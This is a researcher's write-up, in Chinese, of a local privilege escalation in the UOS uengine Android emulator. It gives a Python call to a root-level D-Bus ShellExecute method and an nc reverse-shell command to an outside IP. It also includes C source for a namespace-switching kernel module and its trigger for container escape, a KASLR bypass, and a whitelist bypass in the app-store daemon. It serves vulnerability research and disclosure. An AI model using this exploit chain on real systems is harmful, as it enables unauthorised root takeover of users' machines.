# 安卓模拟器本地提权小记 ## 前言 近两年为丰富信创操作系统贫瘠的系统应用和适配软件引入了以容器虚拟化技术为主流的安卓模拟器。然而在操作系统厂商设计编写时没有对其权限进行合理限制导致了一些严重的安全隐患。本文主要记录挖掘UOS系统的uengine模拟器(v1.0-rc11.3)导致的本地提权漏洞。 ## 信息收集 由于uengine是闭源程序,只能通过动态调试和静态逆向分析的方法梳理运行逻辑。在分析之前首先对其运行状态进行相关信息的收集。 uengine运行环境会在点击程序应用商店中任意一个手机应用程序时自动安装配置。在手机应用程序安装完毕后点击桌面图标uengine环境会首先进行初始化,之后打开目标应用程序。此时系统中uengine相关进程如下: ```shell test@test-PC:~$ ps -ef | grep uengine root 1280 1 0 10:02 ? 00:00:00 /usr/bin/uengineDaemon root 3858 1 0 10:03 ? 00:00:00 /usr/bin/uengine container-manager --daemon --privileged --data-path=/data/uengine/data --android-image=/usr/share/uengine/.android.img --container-network-dns-servers=114.114.114.114,180.76.76.76 root 3859 1 0 10:03 ? 00:00:00 /usr/bin/uengineSessionDaemon --data-path=/data/uengine/data root 3867 3858 0 10:03 ? 00:00:00 /usr/bin/uengine [dump daemon] test 3955 3859 12 10:03 ? 00:00:04 /usr/bin/uengine session-manager --app-etc=/usr/share/uengine/appetc --data-path=/data/uengine/data --render-type=swiftshader test 4020 3955 0 10:03 ? 00:00:00 uengineAudio /run/user/1000/anbox/sockets/anbox_audio root 4034 1 0 10:03 ? 00:00:00 [lxc monitor] /data/uengine/data/containers default ``` 可见容器以`privileged`权限启动,如果可以以root权限进入容器环境就有进行容器逃逸从而进行权限提升的可能。容器平台使用的lxc,但尝试使用`lxc-ls`命令却搜索不到正在运行的容器信息。暂时不能通过类似`lxc-console`、`lxc-attach`的方式直接进入模拟器容器环境内部。尝试使用adb连接同样失败。 在浏览应用商店时,发现了一款名为“MT管理器”的软件,该软件不仅提供了普通的文件管理服务,还提供了类似termux的终端模拟器功能,并预装了丰富的工具(这一点在后续利用中会再次提到)。虽然该模拟器以地权限运行但总算可以进入模拟器内部进行信息收集了。 模拟器内运行进程如下: ```shell ps USER PID PPID VSIZE RSS WCHAN PC NAME root 1 0 10064 5560 do_epoll_w 0000000000 S /init root 20 1 6160 3296 __x64_sys_ 0000000000 S /sbin/ueventd root 21 20 6160 1096 __x64_sys_ 0000000000 S /sbin/ueventd logd 23 1 16652 8732 0 0000000000 S /system/bin/logd root 24 1 7496 2792 0 0000000000 S /system/bin/debuggerd root 25 1 11168 7248 0 0000000000 S /system/bin/debuggerd64 root 26 1 19408 12456 hrtimer_na 0000000000 S /system/bin/vold root 32 25 10784 4568 0 0000000000 S debuggerd64:signaller root 34 24 7240 428 0 0000000000 S debuggerd:signaller root 39 1 7664 4100 do_epoll_w 0000000000 S /sbin/healthd root 41 1 19200 10784 __x64_sys_ 0000000000 S /system/bin/anboxd root 42 1 9660 7444 do_epoll_w 0000000000 S /system/bin/lmkd system 43 1 10480 6800 0 0000000000 S /system/bin/servicemanager root 46 1 8624 6836 core_sys_s 0000000000 S /system/bin/sh root 49 1 1392936 123260 __ia32_com 0000000000 S zygote drm 59 1 20088 7828 0 0000000000 S /system/bin/drmserver root 60 1 10700 7016 0 0000000000 S /system/bin/installd keystore 61 1 14824 9376 0 0000000000 S /system/bin/keystore mediacodec 62 1 64648 31868 0 0000000000 S media.codec media 63 1 24948 9928 0 0000000000 S /system/bin/mediadrmserver mediaex 68 1 72440 14048 0 0000000000 S media.extractor system 73 1 14460 9268 0 0000000000 S /system/bin/fingerprintd system 74 1 14496 7992 0 0000000000 S /system/bin/gatekeeperd root 75 1 9064 6548 0 0000000000 S /system/bin/logcat root 104 1 1409156 146264 __x64_sys_ 0000000000 S zygote64 system 105 1 46544 21628 do_epoll_w 0000000000 S /system/bin/surfaceflinger audioserver 114 1 33672 9596 0 0000000000 S /system/bin/audioserver media 117 1 76960 15360 0 0000000000 S /system/bin/mediaserver root 130 1 25936 11156 0 0000000000 S /system/bin/netd cameraserver 146 1 21932 7856 0 0000000000 S /system/bin/cameraserver system 180 104 1588924 188828 do_epoll_w 0000000000 S system_server u0_a20 250 104 1555840 161388 do_epoll_w 0000000000 S com.android.systemui media_rw 261 26 14808 7920 0 0000000000 S /system/bin/sdcard radio 314 104 1504572 120260 do_epoll_w 0000000000 S com.android.phone system 328 104 1540888 126464 do_epoll_w 0000000000 S com.android.settings u0_a0 469 104 1556460 139004 do_epoll_w 0000000000 S org.anbox.appmgr u0_a9 523 104 1481112 80432 do_epoll_w 0000000000 S android.ext.services u0_a2 539 104 1489864 98476 do_epoll_w 0000000000 S android.process.acore u0_a32 565 104 1491000 91188 do_epoll_w 0000000000 S com.android.deskclock u0_a47 586 104 1481188 76960 do_epoll_w 0000000000 S com.android.smspush u0_a8 605 104 1488188 96592 do_epoll_w 0000000000 S android.process.media u0_a27 633 104 1488844 86728 do_epoll_w 0000000000 S com.android.calendar u0_a34 654 104 1499736 95032 do_epoll_w 0000000000 S com.android.email u0_a3 668 104 1484284 84968 do_epoll_w 0000000000 S com.android.providers.calendar u0_a11 694 104 1482408 74480 do_epoll_w 0000000000 S com.android.managedprovisioning u0_a51 716 49 1760940 165480 do_epoll_w 0000000000 S bin.mt.plus u0_a13 721 104 1482096 73872 do_epoll_w 0000000000 S com.android.onetimeinitializer u0_a51 794 716 8624 3032 0 0000000000 S sh u0_a51 3420 716 11028 6736 core_sys_s 0000000000 S /data/user/0/bin.mt.plus/files/term/usr/bin/bash ``` 文件系统权限如下: ```shell cat /proc/mounts /dev/loop0 / squashfs ro,relatime 0 0 /dev/sda7 /cache ext4 rw,relatime 0 0 /dev/sda7 /data ext4 rw,relatime 0 0 none /dev tmpfs rw,relatime,size=492k,mode=755 0 0 proc /proc proc rw,nosuid,nodev,noexec,relatime 0 0 proc /proc/sys/net proc rw,nosuid,nodev,noexec,relatime 0 0 proc /proc/sys proc ro,nosuid,nodev,noexec,relatime 0 0 proc /proc/sysrq-trigger proc ro,nosuid,nodev,noexec,relatime 0 0 sysfs /sys sysfs ro,nosuid,nodev,noexec,relatime 0 0 sysfs /sys/devices/virtual/net sysfs rw,relatime 0 0 sysfs /sys/devices/virtual/net sysfs rw,nosuid,nodev,noexec,relatime 0 0 tmpfs /dev/general_pipe tmpfs rw,nosuid,nodev,relatime,size=401760k,mode=700,uid=1000,gid=1000 0 0 tmpfs /dev/video tmpfs rw,nosuid,nodev,relatime,size=401760k,mode=700,uid=1000,gid=1000 0 0 tmpfs /dev/input tmpfs rw,nosuid,nodev,relatime,size=401760k,mode=700,uid=1000,gid=1000 0 0 tmpfs /dev/ime tmpfs rw,nosuid,nodev,relatime,size=401760k,mode=700,uid=1000,gid=1000 0 0 tmpfs /dev/uengine_pipe tmpfs rw,nosuid,nodev,relatime,size=401760k,mode=700,uid=1000,gid=1000 0 0 /dev/sda5 /system/etc/uengine ext4 rw,relatime 0 0 ... tmpfs /mnt tmpfs rw,relatime,mode=755,gid=1000 0 0 ... pstore /sys/fs/pstore pstore rw,relatime 0 0 tmpfs /storage tmpfs rw,relatime,mode=755,gid=1000 0 0 tracefs /sys/kernel/debug/tracing tracefs rw,relatime 0 0 /dev/fuse /mnt/runtime/default/emulated fuse rw,nosuid,nodev,noexec,noatime,user_id=1023,group_id=1023,default_permissions,allow_other 0 0 /dev/fuse /storage/emulated fuse rw,nosuid,nodev,noexec,noatime,user_id=1023,group_id=1023,default_permissions,allow_other 0 0 /dev/fuse /mnt/runtime/read/emulated fuse rw,nosuid,nodev,noexec,noatime,user_id=1023,group_id=1023,default_permissions,allow_other 0 0 /dev/fuse /mnt/runtime/write/emulated fuse rw,nosuid,nodev,noexec,noatime,user_id=1023,group_id=1023,default_permissions,allow_other 0 0 ``` 可见 `/storage/emulated`目录没有可执行权限,该目录为模拟器存储应用文件,且映射到宿主机主目录“安卓应用文件”下。 在用ida打开uengine文件后发现的大量anbox相关命名的函数,猜测该软件为某开源模拟器二次开发,github搜索发现该开源项目[1]。通过阅读anbox文档大致了解了该模拟器的基础架构、通信方式。anbox基础架构如下: ``` | | | +----------------------------+ | +----------+ +----------+ +----------+ | | | |App1Window| |App2Window| |App3Window| | | | +----------+ +----------+ +----------+ | | | ^ ^ ^ | Android Container | | | | | | | | | | | | | | | | | | | | | | | | +------------------------+ | | v v v | | | | | +-----------------------------------+ | | | | | dbus | | | | Anboxd |<-------------------->| Anbox Session Manager | | | | | | | | | | | | | +-----------------------------------+ | | | | | ^ ^ | +------------------------+ | | | | | | | | v | +------+ +------+ +------+ | | | +-----------------------+ | | App1 | | App2 | | App3 | | | | | Anbox Container | | +------+ +------+ +------+ | | | | Manager | | | | | +-----------------------+ | | | | | +------------------------+ | | | | | servicemanager | | | v | +------------------------+ | | +------------------------------------------------+ | | | | Kernel/Hardware | +----------------------------+ | +------------------------------------------------+ | | ``` Anbox 主要由两个独立的实例组成:容器管理器,会话管理器。容器管理器在其生命周期内负责管理容器的设置和维护。 它负责启动用来运行 Android 系统的 LXC 环境。 会话管理器在登录到 Linux 系统的用户的会话中运行。 它将通过多个套接字与容器内运行的 Android 实例(Anboxd)进行通信,并提供与 Linux 系统的集成。 它还充当多路复用器,将 Android 应用程序映射到桌面环境中的单个窗口。 目前所有的应用程序窗口都属于同一个进程(会话管理器)。 应用程序逻辑本身仍在 Android 容器内的单独进程中。 ## 获取容器root shell 通过先前的信息收集可以了解到,uengine的session manager以当前用户权限启动,而Anboxd在容器内以root权限通过dbus接收session manager传递的消息命令。查看uengine相关的dbus接口: ```bash test@test-PC:~$ qdbus --system | grep -E 'uengine|anbox' test@test-PC:~$ qdbus --session | grep -E 'uengine|anbox' org.anbox test@test-PC:~$ qdbus --session org.anbox / /org /org/anbox test@test-PC:~$ qdbus --session org.anbox /org/anbox method QString org.freedesktop.DBus.Peer.GetMachineId() method void org.freedesktop.DBus.Peer.Ping() method QString org.freedesktop.DBus.Introspectable.Introspect() method QDBusVariant org.freedesktop.DBus.Properties.Get(QString interface, QString property) method QVariantMap org.freedesktop.DBus.Properties.GetAll(QString interface) signal void org.freedesktop.DBus.Properties.PropertiesChanged(QString interface, QVariantMap changed_properties, QStringList invalidated_properties) method void org.freedesktop.DBus.Properties.Set(QString interface, QString property, QDBusVariant value) property read bool org.anbox.ApplicationManager.Ready method void org.anbox.ApplicationManager.Install(QVariantMap) method void org.anbox.ApplicationManager.Launch(QVariantMap, QString) method void org.anbox.ApplicationManager.ShellExecute(QString) method void org.anbox.ApplicationManager.Uninstall(QString) ``` 通过查看uengine相关dbus接口发现一个很令人感兴趣的接口`org.anbox.ApplicationManager.ShellExecute(QString)`通过对比anbox源码发现anbox并未实现该功能,即这个接口是uengine二次开发后实现的。单从接口名称在不进行逆向工程的前提下不难推测出该接口功能是将用户输入命令在安卓容器内部以root权限执行。尝试使用如下python脚本进行实验: ```python import dbus bus = dbus.SessionBus() xattr = bus.get_object('org.anbox','/org/anbox') iface = dbus.Interface(xattr,dbus_interface='org.anbox.ApplicationManager') prop = iface.ShellExecute("/system/bin/touch /sdcard/test") ``` 运行脚本后,通过"MT管理器"的终端模拟功能登入该目录下查看,发现test文件以root权限成功创建! 接下来利用这个dbus接口尝试创建反弹shell:`nc 192.168.202.XXX 2333 -e /system/bin/sh` ,执行时发现未执行成功,动态调试anboxd后发现execve返回错误id:2(No such file or directory)。在安卓模拟器内部查找: ```bash $which nc /data/user/0/bin.mt.plus/files/term/usr/bin/applets/nc ``` 可见nc并非原模拟器环境自带的,将nc绝对路径修改后成功获得反弹shell。 ## 容器逃逸提权 获得了容器内root权限的shell,并且该容器以privileged权限运行,一般来说进行逃逸易如反掌,常规方法是在容器内部挂载宿主机磁盘,然后再将根目录切换过去。但uengine的根目录为只读: ```bash test@test-PC:~$ cat /proc/mounts | grep loop0 /dev/loop0 /data/uengine/data/rootfs squashfs ro,relatime 0 0 ``` 尝试将根目录remount为可读写也失败,并且因为反弹shell的原因一些命令执行的报错不能正常回显给调试工作带来了很多困难。 接下来尝试使用`nsenter --target 1 --all`将命名空间切换到宿主机命名空间,发现容器环境无nsenter。 后面博男建议我尝试加载恶意内核模块: ```bash ls -alt vuln.ko -rw------- 1 root root 414512 2022-11-22 09:57 vuln.ko insmod vuln.ko lsmod | grep vuln vuln 16384 0 chmod 644 /dev/vuln ls -alt /dev/vuln crw-r--r-- 1 root root 10, 53 2022-11-24 16:48 /dev/vuln ``` 成功加载内核模块!但容器外部该驱动无法被普通用户打开: ```bash test@test-PC:~$ ls -alt /dev/vuln crw------- 1 root root 10, 53 11月 24 16:48 /dev/vuln ``` 恶意驱动主要功能如下: ```c typedef unsigned long long __attribute__((regparm(3))) (* _find_task_by_vpid)(unsigned int vnr); typedef void __attribute__((regparm(3))) (* _switch_task_namespaces)(void *tsk, void *new); long vuln_ioctl (struct file *filp, unsigned int cmd, unsigned long arg) { struct rwRequest req; if(copy_from_user(&req,(void*)arg,sizeof(req))){ printk(KERN_ERR "invalid addres in arbitrary read"); return -EFAULT; } KERNEL_BASE = (unsigned long)req.kaddr; if (cmd == 0x1111 && KERNEL_BASE) { unsigned long long task = ((_find_task_by_vpid)(KERNEL_BASE + FIND_TASK_BY_VPID))(1); ((_switch_task_namespaces)(KERNEL_BASE + SWITCH_TASK_NS))((void *)task, (void *)(KERNEL_BASE + INIT_NSPROXY)); printk("switch namespace done\n"); } return 0; } ``` 执行`switch_task_namespaces(find_task_by_vpid(1), init_nsproxy)`,将pid为1的进程的命名空间替换为容器初始化时的全局命名空间`init_nsproxy`,`init_nsproxy`命名空间可以访问宿主机的文件系统。 恶意驱动触发程序主要逻辑如下: ```c int main(int argc,char* argv[]){ char *tmp_buf=calloc(1,20); unsigned long kern_base; struct rwRequest req; if(argc != 2 ){ printf("no kern base!"); return -1; } kern_base = strtoul(argv[1],NULL,16); int fd = Open("/dev/vuln",O_RDONLY); req.kaddr = (void *)kern_base; ioctl(fd,0x1111,&req); setns(open("/proc/1/ns/mnt", O_RDONLY), 0); setns(open("/proc/1/ns/pid", O_RDONLY), 0); setns(open("/proc/1/ns/net", O_RDONLY), 0); system("/bin/bash"); return 0; } ``` 将当前进程的命名空间替换成1号进程,而1号进程的命名空间已在恶意驱动中被替换成容器初始化时的全局命名空间`init_proxy`,从而完成容器逃逸。 由于容器以privileged权限运行可以通过查看`/proc/kallsyms`获取内核基址,绕过KASLR: ```bash cat /proc/kallsyms | grep startup_64 ffffffff92800000 T startup_64 ffffffff92800030 T secondary_startup_64 ffffffff928001f0 T __startup_64 ``` 运行poc后获得的shell大部分命令没有回显,且不能在宿主机目录创建文件。但可以通过修改root密码(`echo root:'1234'|chpasswd` )完成提权。 ## 总结 当整理完完整利用链后可以发现,漏洞原理其实并不复杂:“特权容器+dbus api后门”,但因为容器环境是安卓对文件系统权限做出了一些限制导致在后续容器逃逸时遇到了一些问题。通过这次漏洞挖掘让我拓宽了容器逃逸的方法与思路,对容器逃逸的方法有了更深入的理解与认识。 ## 后记 本来这个洞留着准备比赛,但uengine非系统预装,但可以通过应用商店安装app程序时作为依赖环境自动安装,且在应用商店通过点击交互进行安装不需要sudo权限。因此起初的思路是通过逆向应用商店找到安装软件的dbus接口直接进行调用安装app程序,之后进行漏洞利用,从而达到命令行无UI交互权限提升的效果。 通过搜索相关方法名,找到如下dbus接口: ```bash test@test-PC:~$ qdbus --system com.home.appstore.daemon /appstore property read int com.home.appstore.daemon.interface.AptUpdateStatus property read bool com.home.appstore.daemon.interface.LocalUpgradeCheckStatus method void com.home.appstore.daemon.interface.AptInstallKey() method void com.home.appstore.daemon.interface.AptUpdateSource() method QString com.home.appstore.daemon.interface.GetLocalPackageInfo(QString packageName) ... method void com.home.appstore.daemon.interface.InstallPackage(QString id, QString packageName, QString packageUrl) method void com.home.appstore.daemon.interface.IntallPackage(QString id, QString packageInfo) method void com.home.appstore.daemon.interface.IntallPackage(QString id, QString packageName, QString version, QString name, int packageMode, QString icon_url) method void com.home.appstore.daemon.interface.IntallPackage(QString id, QString packageName, QString version, QString name, int packageMode, QString icon_url, QString channelPkgJsonStr, QString channel) method void com.home.appstore.daemon.interface.IntallPackage(QString id, QString packageName, QString version, QString name, int packageMode, QString icon_url, QString downloadUrl, QString sha256, QString fileSize) method void com.home.appstore.daemon.interface.IntallPackage(QString id, QString packageName, QString name, int packageMode, QString icon_url) ``` 通过`GetLocalPackageInfo`方法可以获得已安装的本地安装包信息,如`packageName`、`name`、`packageMode`、`icon_url` 等。正确填入相应字段后使用d-feet调用`IntallPackage`方法发现未安装成功,猜测接口部分有相关校验需要绕过。 提供该接口的程序名称为`deepin-home-appstore-daemon`,由于系统提供了该程序的调试符号,可以通过如下方式恢复目标程序符号表[4]。 ```bash $ dpkg -L deepin-home-appstore-daemon-dbgsym /. /usr /usr/lib /usr/lib/debug /usr/lib/debug/.build-id /usr/lib/debug/.build-id/21 /usr/lib/debug/.build-id/21/4ea1aa1212b290b1d33b0875a8d8dd430faee0.debug /usr/share /usr/share/doc /usr/share/doc/deepin-home-appstore-daemon-dbgsym $ eu-unstrip -o deepin-home-appstore-daemon-7.4.1.0038.full deepin-home-appstore-daemon-7.4.1.0038 /usr/lib/debug/.build-id/21/4ea1aa1212b290b1d33b0875a8d8dd430faee0.debug ``` 通过逆向目标程序可知,在`DbusAppstore::Authentication`函数内通过获取调用dbus的程序名与`deepin-home-appstore-daemon`内部白名单做比对,若与白名单内程序名匹配则验证成功继续执行。 ```c __int64 __fastcall DbusAppstore::Authentication(DbusAppstore *this) { ... v1 = (unsigned __int64)this + 112; v2 = this; v36 = __readfsqword(0x28u); QMutex::lock((DbusAppstore *)((char *)this + 112)); v3 = QDBusContext::calledFromDBus((DbusAppstore *)((char *)this + 16)); if ( (_BYTE)v3 ) { QDBusContext::connection((QDBusContext *)&v28); v5 = (const QDBusMessage *)QDBusContext::message((DbusAppstore *)((char *)this + 16)); QDBusMessage::QDBusMessage((QDBusMessage *)&v29, v5); v6 = (const QString *)QDBusConnection::interface((QDBusConnection *)&v28); QDBusMessage::service((QDBusMessage *)&v31); v7 = v6; QDBusConnectionInterface::servicePid((QDBusConnectionInterface *)&v32, v6); v8 = v35; QString::~QString((QString *)((char *)&v33 + 8)); QString::~QString((QString *)&v33); QString::~QString((QString *)&v31); ... LABEL_18: APPSTORE_DAEMON::Utils::getNameByPid((APPSTORE_DAEMON::Utils *)&v30, v8); v3 = QtPrivate::QStringList_contains((__int64)v2 + 96, (__int64)&v30, 1LL); ... } ``` 程序名白名单初始化在`DbusAppstore::DbusAppstore`函数中实现: ```c unsigned __int64 __fastcall DbusAppstore::DbusAppstore(DbusAppstore *this) { ... QString::QString((QString *)&v2, "deepin-home-app"); QList::append((char *)this + 96, &v2); QString::QString((QString *)&v3, "deepin-pc-butle"); QList::append((char *)this + 96, &v3); QString::QString((QString *)&v4, "dde-control-cen"); QList::append((char *)this + 96, &v4); QString::QString((QString *)&v5, aDde); QList::append((char *)this + 96, &v5); QString::QString((QString *)&v6, "children-guard-"); QList::append((char *)this + 96, &v6); ... } ``` 可见此处白名单匹配只匹配前缀是否符合,攻击者可以自己编写程序后以白名单内前缀命名即可绕过验证。 之后还需判断dbus中输入的参数`id` 名称是否为`deepin-pc-butler`: ```c unsigned __int64 __fastcall DbusAppstore::InstallPackage(__int64 a1, __int64 id, QString *packageName, __int64 packageUrl) { ... v4 = packageUrl; v5 = packageName; v42 = __readfsqword(0x28u); if ( (unsigned __int8)DbusAppstore::Authentication((DbusAppstore *)a1) ) { if ( !*(_DWORD *)(*(_QWORD *)id + 4LL) || !*(_DWORD *)(*(_QWORD *)v5 + 4LL) || !*(_DWORD *)(*(_QWORD *)v4 + 4LL) ) { v39 = (QtPrivate::RefCount *)2; v40 = 0LL; v41 = "default"; QMessageLogger::warning((QMessageLogger *)&v27); v6 = QDebug::operator<<(&v27, "void DbusAppstore::InstallPackage(QString, QString, QString)"); v7 = QDebug::operator<<(v6, "Params Invalid"); v8 = QDebug::operator<<(v7, id); v9 = QDebug::operator<<(v8, v5); QDebug::operator<<(v9, v4); LABEL_6: QDebug::~QDebug((QDebug *)&v27); return __readfsqword(0x28u) ^ v42; } if ( (unsigned __int8)QString::operator!=(id, "deepin-pc-butler") ) { ... } ``` 再记录一下遇到“重载”dbus方法时如何调用[5],使用python dbus模块加对应的`signature='XXXX'`即可: ```python prop = iface.IntallPackage("deepin-pc-butler","uengine.com.doudou.calculator","科学计算器",2,"https://home-store-img.uniontech.com/icon/6062a84ca7ef4de9881ad137f50d226a", signature='sssis') ``` 用apt命令获取软件包url命令如下: ```bash test@test-PC:~$ apt-get download --print-uris d-feet | cut -d' ' -f1 'https://professional-packages.chinauos.com/desktop-professional/pool/main/d/d-feet/d-feet_0.3.14-1_all.deb' ``` 最后在测试时,该漏洞由于下载所需环境时间过长不符合比赛要求,导致该漏洞无法参加比赛。但个人认为今后信创系统中安卓、win环境模拟器降低了厂商对于信创环境的适配成本,模拟器中的应用数量也会越来越多,用户使用模拟环境中的应用也会越来越频繁,因此模拟器中的安全风险在今后需要得到足够多的重视。 ## 参考链接 [1] https://github.com/anbox/anbox [2] https://www.cyberark.com/resources/threat-research-blog/the-route-to-root-container-escape-using-kernel-exploitation [3] https://blog.wohin.me/posts/container-escape-overview/ [4] https://mp.weixin.qq.com/s/ggjX7j5BEP6n1yBYuUweaw [5] https://bugs.freedesktop.org/show_bug.cgi?id=22429 [6] https://unix.stackexchange.com/questions/61538/get-package-sources-and-repository-link